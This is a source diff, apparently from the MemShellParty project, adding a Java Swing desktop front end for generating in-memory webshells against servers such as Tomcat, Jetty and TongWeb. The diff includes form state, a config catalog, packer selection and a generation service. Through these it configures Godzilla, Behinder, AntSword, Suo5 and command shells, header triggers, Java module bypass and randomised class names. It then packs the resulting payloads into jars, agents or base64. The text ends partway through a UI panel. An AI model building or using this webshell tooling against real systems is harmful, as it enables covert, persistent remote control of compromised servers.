state.setSavedShellClassName(state.getShellClassName());
state.setSavedInjectorClassName(state.getInjectorClassName());
state.setShellClassName("");
state.setInjectorClassName("");
} else {
state.setShellClassName(state.getSavedShellClassName());
state.setInjectorClassName(state.getSavedInjectorClassName());
}
}
public void setCustomInputMode(String mode) { state.setCustomInputMode(mode); }
public void setPacker(String packerName) {
state.setPackingMethod(packerName);
resetPackerCustomConfigToDefaults();
}
public void setPackerCustomField(String key, Object value) {
if (value == null) {
state.getPackerCustomConfig().remove(key);
} else {
state.getPackerCustomConfig().put(key, value);
}
}
public Map<String, Object> getPackerCustomConfig() { return state.getPackerCustomConfig(); }
public boolean isUrlPatternVisible() {
return validator.needsUrlPattern(state.getShellType());
}
public boolean isCommandHeaderVisible() {
return "BypassNginxWebSocket".equals(state.getShellType()) || "BypassNginxJakartaWebSocket".equals(state.getShellType());
}
public boolean isProxyHeaderVisible() { return isCommandHeaderVisible(); }
public boolean isCommandParamVisible() {
return state.getShellType() == null || !state.getShellType().contains("WebSocket");
}
public MemShellValidator.Result validate() { return validator.validate(state); }
private void reconcileAfterServerChange(boolean initial) {
List<String> serverVersions = getServerVersionOptions();
if (!serverVersions.contains(state.getServerVersion())) {
state.setServerVersion(serverVersions.get(0));
}
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
if (toolMap == null || toolMap.isEmpty()) {
return;
}
List<String> toolKeys = new ArrayList<>(toolMap.keySet());
String currentTool = state.getShellTool();
String nextTool = toolMap.containsKey(currentTool) ? currentTool : toolKeys.get(0);
state.setShellTool(nextTool);
String currentTargetJdk = state.getTargetJdkVersion();
int currentJdk = parseInt(currentTargetJdk, 50);
boolean raise = ("SpringWebFlux".equals(state.getServer()) || "XXLJOB".equals(state.getServer())) && currentJdk <= 52;
state.setTargetJdkVersion(raise ? "52" : "50");
state.setByPassJavaModule(parseInt(state.getTargetJdkVersion(), 50) >= 53);
if (!initial) {
state.setUrlPattern("");
}
if (!serverVersions.contains(state.getServerVersion())) {
state.setServerVersion(serverVersions.get(0));
}
ensureShellTypeValidForCurrentTool();
}
private void ensureShellTypeValidForCurrentTool() {
List<String> shellTypes = getShellTypesForCurrentTool();
if (shellTypes.isEmpty()) {
state.setShellType("");
return;
}
if (!shellTypes.contains(state.getShellType())) {
state.setShellType(shellTypes.get(0));
}
}
private void handleShellToolChange(String value) {
if (value == null || value.trim().isEmpty()) return;
state.setUrlPattern("");
state.setShellClassName("");
state.setInjectorClassName("");
if (ShellTool.Command.equals(value)) {
state.setCommandParamName("");
state.setImplementationClass("");
state.setEncryptor("");
} else if (ShellTool.Godzilla.equals(value)) {
state.setGodzillaKey("");
state.setGodzillaPass("");
state.setHeaderName("User-Agent");
state.setHeaderValue("");
} else if (ShellTool.Behinder.equals(value)) {
state.setBehinderPass("");
state.setHeaderName("User-Agent");
state.setHeaderValue("");
} else if (ShellTool.Suo5.equals(value) || ShellTool.Suo5v2.equals(value)) {
state.setHeaderName("User-Agent");
state.setHeaderValue("");
} else if (ShellTool.AntSword.equals(value)) {
state.setAntSwordPass("");
state.setHeaderName("User-Agent");
state.setHeaderValue("");
} else if (ShellTool.NeoreGeorg.equals(value)) {
state.setHeaderName("Referer");
state.setHeaderValue("");
} else if (ShellTool.Custom.equals(value)) {
state.setShellClassBase64("");
} else if (ShellTool.Proxy.equals(value)) {
state.setHeaderName("User-Agent");
state.setHeaderValue("");
}
state.setShellTool(value);
ensureShellTypeValidForCurrentTool();
}
private void reconcilePackerSelection() {
List<PackerEntryModel> filtered = getFilteredPackers();
if (filtered.isEmpty()) {
state.setPackingMethod("");
state.getPackerCustomConfig().clear();
return;
}
boolean exists = filtered.stream().anyMatch(p -> p.getName().equals(state.getPackingMethod()));
if (!exists) {
state.setPackingMethod(filtered.get(0).getName());
resetPackerCustomConfigToDefaults();
} else if (state.getPackerCustomConfig().isEmpty()) {
resetPackerCustomConfigToDefaults();
}
}
private void resetPackerCustomConfigToDefaults() {
state.getPackerCustomConfig().clear();
PackerEntryModel selected = getSelectedPackerEntry();
if (selected != null) {
state.getPackerCustomConfig().putAll(selected.getDefaultConfig());
}
}
private void autoDisableRandomIfManualNames() {
if (state.isRandomClassName() && (!state.getShellClassName().trim().isEmpty() || !state.getInjectorClassName().trim().isEmpty())) {
state.setRandomClassName(false);
}
if (!state.isRandomClassName()) {
state.setSavedShellClassName(state.getShellClassName());
state.setSavedInjectorClassName(state.getInjectorClassName());
}
}
private int parseInt(String v, int d) {
try {
return Integer.parseInt(v);
} catch (Exception e) {
return d;
}
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.desktop.memshell.model;
import com.reajason.javaweb.memshell.MemShellResult;
public class DesktopMemShellGenerateResult {
private final MemShellResult memShellResult;
private final String packMethod;
private final String packResult;
private final boolean jarOutput;
private final boolean agentOutput;
public DesktopMemShellGenerateResult(MemShellResult memShellResult, String packMethod, String packResult) {
this.memShellResult = memShellResult;
this.packMethod = packMethod;
this.packResult = packResult;
this.jarOutput = packMethod != null && packMethod.endsWith("Jar");
this.agentOutput = packMethod != null && packMethod.startsWith("Agent");
}
public MemShellResult getMemShellResult() { return memShellResult; }
public String getPackMethod() { return packMethod; }
public String getPackResult() { return packResult; }
public boolean isJarOutput() { return jarOutput; }
public boolean isAgentOutput() { return agentOutput; }
}
@@ -0,0 +1,145 @@
package com.reajason.javaweb.desktop.memshell.model;
import java.util.LinkedHashMap;
import java.util.Map;
public class MemShellFormState {
private String server = "Tomcat";
private String serverVersion = "Unknown";
private String targetJdkVersion = "50";
private boolean debug;
private boolean byPassJavaModule;
private boolean probe;
private boolean lambdaSuffix;
private boolean shrink = true;
private boolean staticInitialize = true;
private String shellTool = "Godzilla";
private String shellType = "Listener";
private String urlPattern = "/*";
private String shellClassName = "";
private String injectorClassName = "";
private String godzillaPass = "";
private String godzillaKey = "";
private String behinderPass = "";
private String antSwordPass = "";
private String commandParamName = "";
private String commandTemplate = "";
private String headerName = "User-Agent";
private String headerValue = "";
private String shellClassBase64 = "";
private String encryptor = "";
private String implementationClass = "";
private String packingMethod = "";
private final Map<String, Object> packerCustomConfig = new LinkedHashMap<>();
private boolean randomClassName = true;
private String customInputMode = "base64";
private String savedShellClassName = "";
private String savedInjectorClassName = "";
public MemShellFormState copy() {
MemShellFormState c = new MemShellFormState();
c.server = server;
c.serverVersion = serverVersion;
c.targetJdkVersion = targetJdkVersion;
c.debug = debug;
c.byPassJavaModule = byPassJavaModule;
c.probe = probe;
c.lambdaSuffix = lambdaSuffix;
c.shrink = shrink;
c.staticInitialize = staticInitialize;
c.shellTool = shellTool;
c.shellType = shellType;
c.urlPattern = urlPattern;
c.shellClassName = shellClassName;
c.injectorClassName = injectorClassName;
c.godzillaPass = godzillaPass;
c.godzillaKey = godzillaKey;
c.behinderPass = behinderPass;
c.antSwordPass = antSwordPass;
c.commandParamName = commandParamName;
c.commandTemplate = commandTemplate;
c.headerName = headerName;
c.headerValue = headerValue;
c.shellClassBase64 = shellClassBase64;
c.encryptor = encryptor;
c.implementationClass = implementationClass;
c.packingMethod = packingMethod;
c.packerCustomConfig.putAll(packerCustomConfig);
c.randomClassName = randomClassName;
c.customInputMode = customInputMode;
c.savedShellClassName = savedShellClassName;
c.savedInjectorClassName = savedInjectorClassName;
return c;
}
public Map<String, Object> getPackerCustomConfig() { return packerCustomConfig; }
public String getServer() { return server; }
public void setServer(String server) { this.server = server; }
public String getServerVersion() { return serverVersion; }
public void setServerVersion(String serverVersion) { this.serverVersion = serverVersion; }
public String getTargetJdkVersion() { return targetJdkVersion; }
public void setTargetJdkVersion(String targetJdkVersion) { this.targetJdkVersion = targetJdkVersion; }
public boolean isDebug() { return debug; }
public void setDebug(boolean debug) { this.debug = debug; }
public boolean isByPassJavaModule() { return byPassJavaModule; }
public void setByPassJavaModule(boolean byPassJavaModule) { this.byPassJavaModule = byPassJavaModule; }
public boolean isProbe() { return probe; }
public void setProbe(boolean probe) { this.probe = probe; }
public boolean isLambdaSuffix() { return lambdaSuffix; }
public void setLambdaSuffix(boolean lambdaSuffix) { this.lambdaSuffix = lambdaSuffix; }
public boolean isShrink() { return shrink; }
public void setShrink(boolean shrink) { this.shrink = shrink; }
public boolean isStaticInitialize() { return staticInitialize; }
public void setStaticInitialize(boolean staticInitialize) { this.staticInitialize = staticInitialize; }
public String getShellTool() { return shellTool; }
public void setShellTool(String shellTool) { this.shellTool = shellTool; }
public String getShellType() { return shellType; }
public void setShellType(String shellType) { this.shellType = shellType; }
public String getUrlPattern() { return urlPattern; }
public void setUrlPattern(String urlPattern) { this.urlPattern = urlPattern; }
public String getShellClassName() { return shellClassName; }
public void setShellClassName(String shellClassName) { this.shellClassName = shellClassName == null ? "" : shellClassName; }
public String getInjectorClassName() { return injectorClassName; }
public void setInjectorClassName(String injectorClassName) { this.injectorClassName = injectorClassName == null ? "" : injectorClassName; }
public String getGodzillaPass() { return godzillaPass; }
public void setGodzillaPass(String godzillaPass) { this.godzillaPass = nv(godzillaPass); }
public String getGodzillaKey() { return godzillaKey; }
public void setGodzillaKey(String godzillaKey) { this.godzillaKey = nv(godzillaKey); }
public String getBehinderPass() { return behinderPass; }
public void setBehinderPass(String behinderPass) { this.behinderPass = nv(behinderPass); }
public String getAntSwordPass() { return antSwordPass; }
public void setAntSwordPass(String antSwordPass) { this.antSwordPass = nv(antSwordPass); }
public String getCommandParamName() { return commandParamName; }
public void setCommandParamName(String commandParamName) { this.commandParamName = nv(commandParamName); }
public String getCommandTemplate() { return commandTemplate; }
public void setCommandTemplate(String commandTemplate) { this.commandTemplate = nv(commandTemplate); }
public String getHeaderName() { return headerName; }
public void setHeaderName(String headerName) { this.headerName = nv(headerName); }
public String getHeaderValue() { return headerValue; }
public void setHeaderValue(String headerValue) { this.headerValue = nv(headerValue); }
public String getShellClassBase64() { return shellClassBase64; }
public void setShellClassBase64(String shellClassBase64) { this.shellClassBase64 = nv(shellClassBase64); }
public String getEncryptor() { return encryptor; }
public void setEncryptor(String encryptor) { this.encryptor = nv(encryptor); }
public String getImplementationClass() { return implementationClass; }
public void setImplementationClass(String implementationClass) { this.implementationClass = nv(implementationClass); }
public String getPackingMethod() { return packingMethod; }
public void setPackingMethod(String packingMethod) { this.packingMethod = nv(packingMethod); }
public boolean isRandomClassName() { return randomClassName; }
public void setRandomClassName(boolean randomClassName) { this.randomClassName = randomClassName; }
public String getCustomInputMode() { return customInputMode; }
public void setCustomInputMode(String customInputMode) { this.customInputMode = nv(customInputMode); }
public String getSavedShellClassName() { return savedShellClassName; }
public void setSavedShellClassName(String savedShellClassName) { this.savedShellClassName = nv(savedShellClassName); }
public String getSavedInjectorClassName() { return savedInjectorClassName; }
public void setSavedInjectorClassName(String savedInjectorClassName) { this.savedInjectorClassName = nv(savedInjectorClassName); }
private static String nv(String v) { return v == null ? "" : v; }
}
@@ -0,0 +1,15 @@
package com.reajason.javaweb.desktop.memshell.model;
import java.util.ArrayList;
import java.util.List;
public class PackerCategoryModel {
private String name;
private final List<PackerEntryModel> packers = new ArrayList<>();
public PackerCategoryModel() {}
public PackerCategoryModel(String name) { this.name = name; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public List<PackerEntryModel> getPackers() { return packers; }
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.desktop.memshell.model;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
public class PackerEntryModel {
private String categoryName;
private String name;
private String outputKind;
private boolean categoryAnchor;
private final List<PackerSchemaFieldModel> fields = new ArrayList<>();
private final Map<String, Object> defaultConfig = new LinkedHashMap<>();
public String getCategoryName() { return categoryName; }
public void setCategoryName(String categoryName) { this.categoryName = categoryName; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public String getOutputKind() { return outputKind; }
public void setOutputKind(String outputKind) { this.outputKind = outputKind; }
public boolean isCategoryAnchor() { return categoryAnchor; }
public void setCategoryAnchor(boolean categoryAnchor) { this.categoryAnchor = categoryAnchor; }
public List<PackerSchemaFieldModel> getFields() { return fields; }
public Map<String, Object> getDefaultConfig() { return defaultConfig; }
public String displayLabel() {
return categoryName == null || categoryName.equals(name) ? name : categoryName + " / " + name;
}
}
@@ -0,0 +1,43 @@
package com.reajason.javaweb.desktop.memshell.model;
import java.util.ArrayList;
import java.util.List;
public class PackerSchemaFieldModel {
public static class Option {
private String value;
private String label;
public Option() {}
public Option(String value, String label) {
this.value = value;
this.label = label;
}
public String getValue() { return value; }
public void setValue(String value) { this.value = value; }
public String getLabel() { return label; }
public void setLabel(String label) { this.label = label; }
}
private String key;
private String type;
private boolean required;
private Object defaultValue;
private String description;
private String descriptionI18nKey;
private final List<Option> options = new ArrayList<>();
public String getKey() { return key; }
public void setKey(String key) { this.key = key; }
public String getType() { return type; }
public void setType(String type) { this.type = type; }
public boolean isRequired() { return required; }
public void setRequired(boolean required) { this.required = required; }
public Object getDefaultValue() { return defaultValue; }
public void setDefaultValue(Object defaultValue) { this.defaultValue = defaultValue; }
public String getDescription() { return description; }
public void setDescription(String description) { this.description = description; }
public String getDescriptionI18nKey() { return descriptionI18nKey; }
public void setDescriptionI18nKey(String descriptionI18nKey) { this.descriptionI18nKey = descriptionI18nKey; }
public List<Option> getOptions() { return options; }
}
@@ -0,0 +1,127 @@
package com.reajason.javaweb.desktop.memshell.service;
import com.reajason.javaweb.desktop.memshell.model.PackerCategoryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.spec.PackerFieldSchema;
import com.reajason.javaweb.packer.spec.PackerOptionValue;
import com.reajason.javaweb.packer.spec.PackerSchema;
import java.util.*;
import java.util.stream.Collectors;
public class ConfigCatalogService {
public static class ConfigCatalog {
private final Map<String, List<String>> servers;
private final Map<String, Map<String, List<String>>> core;
private final List<PackerCategoryModel> packers;
private final List<String> commandEncryptors;
private final List<String> commandImplementationClasses;
public ConfigCatalog(Map<String, List<String>> servers,
Map<String, Map<String, List<String>>> core,
List<PackerCategoryModel> packers,
List<String> commandEncryptors,
List<String> commandImplementationClasses) {
this.servers = servers;
this.core = core;
this.packers = packers;
this.commandEncryptors = commandEncryptors;
this.commandImplementationClasses = commandImplementationClasses;
}
public Map<String, List<String>> getServers() { return servers; }
public Map<String, Map<String, List<String>>> getCore() { return core; }
public List<PackerCategoryModel> getPackers() { return packers; }
public List<String> getCommandEncryptors() { return commandEncryptors; }
public List<String> getCommandImplementationClasses() { return commandImplementationClasses; }
}
public ConfigCatalog load() {
Map<String, List<String>> servers = new LinkedHashMap<>();
Map<String, Map<String, List<String>>> core = new LinkedHashMap<>();
for (String serverName : ServerFactory.getSupportedServers()) {
AbstractServer server = ServerFactory.getServer(serverName);
if (server == null) {
continue;
}
List<String> shellTypes = new ArrayList<>(server.getShellInjectorMapping().getSupportedShellTypes());
servers.put(serverName, shellTypes);
Map<String, List<String>> toolMap = new LinkedHashMap<>();
for (String tool : server.getSupportedShellTools()) {
List<String> types = new ArrayList<>(server.getSupportedShellTypes(tool));
if (!types.isEmpty()) {
toolMap.put(tool, types);
}
}
core.put(serverName, toolMap);
}
List<PackerCategoryModel> packerModels = new ArrayList<>();
for (Map.Entry<String, List<Packers>> entry : Packers.groupedPackers().entrySet()) {
PackerCategoryModel category = new PackerCategoryModel(entry.getKey());
for (Packers packerEnum : entry.getValue()) {
PackerEntryModel p = new PackerEntryModel();
p.setCategoryName(entry.getKey());
p.setName(packerEnum.name());
p.setOutputKind(packerEnum.getOutputKind());
p.setCategoryAnchor(packerEnum.hasChildren());
PackerSchema schema = packerEnum.getSchema();
if (schema != null) {
p.getDefaultConfig().putAll(schema.getDefaultConfig());
for (PackerFieldSchema field : schema.getFields()) {
PackerSchemaFieldModel f = new PackerSchemaFieldModel();
f.setKey(field.getKey());
f.setType(field.getType() == null ? null : field.getType().name());
f.setRequired(field.isRequired());
f.setDefaultValue(field.getDefaultValue());
f.setDescription(field.getDescription());
f.setDescriptionI18nKey(field.getDescriptionI18nKey());
for (PackerOptionValue option : field.getOptions()) {
f.getOptions().add(new PackerSchemaFieldModel.Option(option.getValue(), option.getLabel()));
}
p.getFields().add(f);
}
}
category.getPackers().add(p);
}
packerModels.add(category);
}
List<String> encryptors = Arrays.stream(CommandConfig.Encryptor.values()).map(Enum::name).collect(Collectors.toList());
List<String> impls = Arrays.stream(CommandConfig.ImplementationClass.values()).map(Enum::name).collect(Collectors.toList());
return new ConfigCatalog(servers, core, packerModels, encryptors, impls);
}
public List<String> getServerVersionOptions(String server) {
if ("TongWeb".equals(server)) {
return Arrays.asList("6", "7", "8");
}
if ("Jetty".equals(server)) {
return Arrays.asList("6", "7+", "12");
}
return Collections.singletonList("Unknown");
}
public List<String> getTargetJdkOptions() {
return Arrays.asList("50", "52", "53", "55", "61", "65");
}
public String getTargetJdkLabel(String value) {
if ("50".equals(value)) return "Java6";
if ("52".equals(value)) return "Java8";
if ("53".equals(value)) return "Java9";
if ("55".equals(value)) return "Java11";
if ("61".equals(value)) return "Java17";
if ("65".equals(value)) return "Java21";
return value;
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.desktop.memshell.service;
import net.bytebuddy.jar.asm.ClassReader;
import java.util.Base64;
public class CustomClassNameParser {
public String parseClassNameFromBase64(String classBase64) {
if (classBase64 == null || classBase64.trim().isEmpty()) {
throw new IllegalArgumentException("class base64 is empty");
}
byte[] bytes = Base64.getDecoder().decode(classBase64);
return parseClassName(bytes);
}
public String parseClassName(byte[] classBytes) {
if (classBytes == null || classBytes.length == 0) {
throw new IllegalArgumentException("class bytes are empty");
}
return new ClassReader(classBytes).getClassName().replace('/', '.');
}
}
@@ -0,0 +1,147 @@
package com.reajason.javaweb.desktop.memshell.service;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import java.util.Base64;
import java.util.LinkedHashMap;
import java.util.Map;
public class GenerationService {
public DesktopMemShellGenerateResult generate(MemShellFormState s) {
ShellConfig shellConfig = ShellConfig.builder()
.server(s.getServer())
.serverVersion(s.getServerVersion())
.shellTool(s.getShellTool())
.shellType(s.getShellType())
.targetJreVersion(parseInt(s.getTargetJdkVersion(), 50))
.debug(s.isDebug())
.byPassJavaModule(s.isByPassJavaModule())
.probe(s.isProbe())
.shrink(s.isShrink())
.lambdaSuffix(s.isLambdaSuffix())
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
.urlPattern(blankToDefault(s.getUrlPattern(), "/*"))
.injectorClassName(blankToNull(s.getInjectorClassName()))
.staticInitialize(s.isStaticInitialize())
.build();
ShellToolConfig shellToolConfig = buildShellToolConfig(s);
MemShellResult memShellResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
String packMethod = s.getPackingMethod();
Packers packers = Packers.fromName(packMethod);
Packer<?> packer = packers.getInstance();
String packResult;
if (packer instanceof JarPacker) {
JarPacker jarPacker = (JarPacker) packer;
packResult = Base64.getEncoder().encodeToString(jarPacker.packBytes(memShellResult.toJarPackerConfig()));
} else {
ClassPackerConfig<Object> classPackerConfig = cast(memShellResult.toClassPackerConfig());
Map<String, Object> rawCustom = new LinkedHashMap<>(s.getPackerCustomConfig());
classPackerConfig.setCustomConfig(((Packer<Object>) packer).resolveCustomConfig(rawCustom));
packResult = ((Packer<Object>) packer).pack(classPackerConfig);
}
return new DesktopMemShellGenerateResult(memShellResult, packMethod, packResult);
}
@SuppressWarnings("unchecked")
private static ClassPackerConfig<Object> cast(ClassPackerConfig<?> c) {
return (ClassPackerConfig<Object>) c;
}
private ShellToolConfig buildShellToolConfig(MemShellFormState s) {
String tool = s.getShellTool();
if (ShellTool.Godzilla.equals(tool)) {
return GodzillaConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.pass(blankToNull(s.getGodzillaPass()))
.key(blankToNull(s.getGodzillaKey()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.Behinder.equals(tool)) {
return BehinderConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.pass(blankToNull(s.getBehinderPass()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.AntSword.equals(tool)) {
return AntSwordConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.pass(blankToNull(s.getAntSwordPass()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.Suo5.equals(tool) || ShellTool.Suo5v2.equals(tool)) {
return Suo5Config.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.NeoreGeorg.equals(tool)) {
return NeoreGeorgConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.Proxy.equals(tool)) {
return ProxyConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.Custom.equals(tool)) {
return CustomConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.shellClassBase64(blankToNull(s.getShellClassBase64()))
.build();
}
if (ShellTool.Command.equals(tool)) {
return CommandConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.paramName(blankToNull(s.getCommandParamName()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.template(blankToNull(s.getCommandTemplate()))
.encryptor(CommandConfig.Encryptor.fromString(blankToNull(s.getEncryptor())))
.implementationClass(CommandConfig.ImplementationClass.fromString(blankToNull(s.getImplementationClass())))
.build();
}
throw new IllegalArgumentException("Unsupported shell tool: " + tool);
}
private int parseInt(String value, int defaultValue) {
try {
return Integer.parseInt(value);
} catch (Exception ignored) {
return defaultValue;
}
}
private static String blankToNull(String s) {
return s == null || s.trim().isEmpty() ? null : s;
}
private static String blankToDefault(String s, String d) {
return s == null || s.trim().isEmpty() ? d : s;
}
}
@@ -0,0 +1,138 @@
package com.reajason.javaweb.desktop.memshell.ui;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
import com.reajason.javaweb.desktop.memshell.service.GenerationService;
import com.reajason.javaweb.desktop.memshell.ui.panel.MainConfigPanel;
import com.reajason.javaweb.desktop.memshell.ui.panel.PackageConfigPanel;
import com.reajason.javaweb.desktop.memshell.ui.panel.ResultPanel;
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import java.awt.*;
public class MemShellGeneratorFrame extends JFrame {
private final MemShellFormController controller;
private final GenerationService generationService;
private final MainConfigPanel mainConfigPanel;
private final PackageConfigPanel packageConfigPanel;
private final ResultPanel resultPanel;
private final JButton generateButton = new JButton("生成内存马");
private final JLabel statusLabel = new JLabel("就绪");
private JComponent mainContentPanel;
public MemShellGeneratorFrame() {
super("MemShellParty - MemShellGenerator");
this.controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
this.generationService = new GenerationService();
CustomClassNameParser customClassNameParser = new CustomClassNameParser();
this.resultPanel = new ResultPanel();
this.mainConfigPanel = new MainConfigPanel(controller, customClassNameParser, this::refreshAll);
this.packageConfigPanel = new PackageConfigPanel(controller, this::refreshAll);
setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
setMinimumSize(new Dimension(1180, 900));
setSize(1280, 900);
setLocationRelativeTo(null);
setLayout(new BorderLayout(6, 6));
add(buildToolbar(), BorderLayout.NORTH);
add(buildContent(), BorderLayout.CENTER);
add(buildStatusBar(), BorderLayout.SOUTH);
generateButton.addActionListener(e -> onGenerate());
resultPanel.clear();
refreshAll();
}
private JComponent buildToolbar() {
JPanel p = new JPanel(new BorderLayout());
p.setBorder(BorderFactory.createEmptyBorder(4, 8, 2, 8));
return p;
}
private JComponent buildContent() {
JPanel topPane = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[][]"));
JPanel leftColumn = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]6[]"));
leftColumn.add(mainConfigPanel.getCorePanelComponent(), "growx");
leftColumn.add(packageConfigPanel, "growx");
JPanel rightColumn = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]"));
rightColumn.add(mainConfigPanel.getToolPanelComponent(), "growx");
JPanel topColumns = new JPanel(new MigLayout("insets 0, fillx, aligny top, gapx 8, wrap 2",
"[grow,fill,sg topCol][grow,fill,sg topCol]",
"[top]"));
topColumns.add(leftColumn, "growx, pushx, top");
topColumns.add(rightColumn, "growx, pushx, top");
topPane.add(topColumns, "growx, pushy");
topPane.add(generateButton, "wrap, growx, gaptop 10");
generateButton.setFont(generateButton.getFont().deriveFont(Font.BOLD, 14f));
JPanel content = new JPanel(new MigLayout("insets 0, fill, wrap 1", "[grow,fill]", "[][grow,fill]"));
content.add(topPane, "growx");
content.add(resultPanel, "grow, push");
mainContentPanel = content;
return content;
}
private JComponent buildStatusBar() {
JPanel p = new JPanel(new BorderLayout());
p.setBorder(BorderFactory.createEmptyBorder(3, 8, 3, 8));
p.add(statusLabel, BorderLayout.WEST);
return p;
}
private void onGenerate() {
com.reajason.javaweb.desktop.memshell.validation.MemShellValidator.Result validation = controller.validate();
if (!validation.isValid()) {
statusLabel.setText("校验失败");
SwingUiUtil.showError(this, validation.firstMessage());
return;
}
generateButton.setEnabled(false);
statusLabel.setText("生成中...");
SwingWorker<DesktopMemShellGenerateResult, Void> worker = new SwingWorker<DesktopMemShellGenerateResult, Void>() {
@Override
protected DesktopMemShellGenerateResult doInBackground() {
return generationService.generate(controller.getState().copy());
}
@Override
protected void done() {
generateButton.setEnabled(true);
try {
DesktopMemShellGenerateResult result = get();
resultPanel.showResult(result);
statusLabel.setText("生成成功");
} catch (Exception ex) {
statusLabel.setText("生成失败");
SwingUiUtil.showError(MemShellGeneratorFrame.this, "生成失败: " + (ex.getCause() != null ? ex.getCause().getMessage() : ex.getMessage()));
}
}
};
worker.execute();
}
public void refreshAll() {
mainConfigPanel.refreshFromController();
packageConfigPanel.refreshFromController();
repaint();
revalidate();
}
JComponent getMainContentPanel() {
return mainContentPanel;
}
JButton getGenerateButton() {
return generateButton;
}
}
@@ -0,0 +1,169 @@
package com.reajason.javaweb.desktop.memshell.ui.panel;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
import com.reajason.javaweb.desktop.memshell.ui.panel.tool.*;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import java.awt.*;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
public class MainConfigPanel extends JPanel {
private final MemShellFormController controller;
private final Runnable refreshAll;
private boolean updating;
private final JComboBox<String> serverCombo = new JComboBox<>();
private final JComboBox<String> serverVersionCombo = new JComboBox<>();
private final JComboBox<String> shellToolCombo = new JComboBox<>();
private final JComboBox<String> targetJdkCombo = new JComboBox<>();
private final JCheckBox debugCheck = new JCheckBox("调试模式");
private final JCheckBox probeCheck = new JCheckBox("回显模式");
private final JCheckBox bypassCheck = new JCheckBox("绕过模块限制");
private final JCheckBox lambdaCheck = new JCheckBox("Lambda 类名后缀");
private final JCheckBox shrinkCheck = new JCheckBox("缩小字节码");
private final JCheckBox staticInitCheck = new JCheckBox("静态初始化");
private final JPanel corePanel;
private final JPanel toolPanelWrap;
private final JPanel toolCardPanel = new JPanel(new CardLayout());
private final Map<String, RefreshableToolPanel> toolPanels = new LinkedHashMap<>();
public MainConfigPanel(MemShellFormController controller, CustomClassNameParser parser, Runnable refreshAll) {
super(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]6[]"));
this.controller = controller;
this.refreshAll = refreshAll;
corePanel = new JPanel(new MigLayout("insets 8, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]4[]"));
corePanel.setBorder(BorderFactory.createTitledBorder("核心配置"));
corePanel.add(labeled("服务类型", serverCombo), "growx");
corePanel.add(labeled("服务版本", serverVersionCombo), "growx");
corePanel.add(labeled("内存马工具", shellToolCombo), "growx");
corePanel.add(labeled("JRE 版本", targetJdkCombo), "growx");
JPanel togglePanel = new JPanel(new MigLayout("insets 0, gapx 8, gapy 2, wrap 3", "[grow,fill][grow,fill][grow,fill]", "[]"));
togglePanel.add(debugCheck);
togglePanel.add(probeCheck);
togglePanel.add(bypassCheck);
togglePanel.add(lambdaCheck);
togglePanel.add(shrinkCheck);
togglePanel.add(staticInitCheck);
corePanel.add(togglePanel, "span 2, growx");
